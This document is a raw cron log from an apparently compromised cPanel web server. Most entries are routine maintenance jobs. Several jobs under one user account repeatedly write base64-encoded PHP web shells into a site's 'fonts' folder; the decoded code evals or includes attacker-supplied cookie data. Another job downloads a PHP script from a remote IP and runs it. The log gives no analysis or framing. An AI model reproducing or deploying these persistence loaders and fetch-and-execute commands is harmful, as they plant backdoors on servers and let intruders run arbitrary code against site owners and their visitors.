Sep  5 15:49:01 ip-184-168-122-23 CROND[13279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:50:01 ip-184-168-122-23 CROND[13374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:50:01 ip-184-168-122-23 CROND[13376]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 15:50:01 ip-184-168-122-23 CROND[13378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:50:01 ip-184-168-122-23 CROND[13380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:50:01 ip-184-168-122-23 CROND[13379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:50:01 ip-184-168-122-23 CROND[13377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:50:01 ip-184-168-122-23 CROND[13383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:50:01 ip-184-168-122-23 CROND[13381]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:50:01 ip-184-168-122-23 CROND[13382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:51:01 ip-184-168-122-23 CROND[13647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:51:01 ip-184-168-122-23 CROND[13650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:51:01 ip-184-168-122-23 CROND[13648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:51:01 ip-184-168-122-23 CROND[13649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:52:01 ip-184-168-122-23 CROND[13847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:52:01 ip-184-168-122-23 CROND[13846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:52:01 ip-184-168-122-23 CROND[13848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:52:01 ip-184-168-122-23 CROND[13849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:52:01 ip-184-168-122-23 CROND[13850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:53:01 ip-184-168-122-23 CROND[13970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:53:01 ip-184-168-122-23 CROND[13972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:53:01 ip-184-168-122-23 CROND[13971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:53:01 ip-184-168-122-23 CROND[13973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:54:01 ip-184-168-122-23 CROND[14148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:54:01 ip-184-168-122-23 CROND[14150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:54:01 ip-184-168-122-23 CROND[14153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:54:01 ip-184-168-122-23 CROND[14151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:54:01 ip-184-168-122-23 CROND[14152]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:55:02 ip-184-168-122-23 CROND[14240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:55:02 ip-184-168-122-23 CROND[14244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:55:02 ip-184-168-122-23 CROND[14242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:55:02 ip-184-168-122-23 CROND[14243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:55:02 ip-184-168-122-23 CROND[14246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:55:02 ip-184-168-122-23 CROND[14245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:56:01 ip-184-168-122-23 CROND[14365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:56:01 ip-184-168-122-23 CROND[14367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:56:01 ip-184-168-122-23 CROND[14369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:56:01 ip-184-168-122-23 CROND[14370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:56:01 ip-184-168-122-23 CROND[14371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:57:01 ip-184-168-122-23 CROND[14484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:57:01 ip-184-168-122-23 CROND[14487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:57:01 ip-184-168-122-23 CROND[14485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:57:01 ip-184-168-122-23 CROND[14486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:58:01 ip-184-168-122-23 CROND[14583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:58:01 ip-184-168-122-23 CROND[14586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:58:01 ip-184-168-122-23 CROND[14587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:58:01 ip-184-168-122-23 CROND[14588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:58:01 ip-184-168-122-23 CROND[14589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:59:01 ip-184-168-122-23 CROND[14735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:59:01 ip-184-168-122-23 CROND[14737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:59:01 ip-184-168-122-23 CROND[14738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:59:01 ip-184-168-122-23 CROND[14740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:00:01 ip-184-168-122-23 CROND[14928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:00:01 ip-184-168-122-23 CROND[14929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:00:01 ip-184-168-122-23 CROND[14932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:00:01 ip-184-168-122-23 CROND[14935]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:00:01 ip-184-168-122-23 CROND[14933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:00:01 ip-184-168-122-23 CROND[14936]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 16:00:01 ip-184-168-122-23 CROND[14934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:00:01 ip-184-168-122-23 CROND[14930]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:00:01 ip-184-168-122-23 CROND[14931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:01:02 ip-184-168-122-23 CROND[15070]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 16:01:02 ip-184-168-122-23 CROND[15071]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 16:01:02 ip-184-168-122-23 CROND[15074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:01:02 ip-184-168-122-23 CROND[15075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
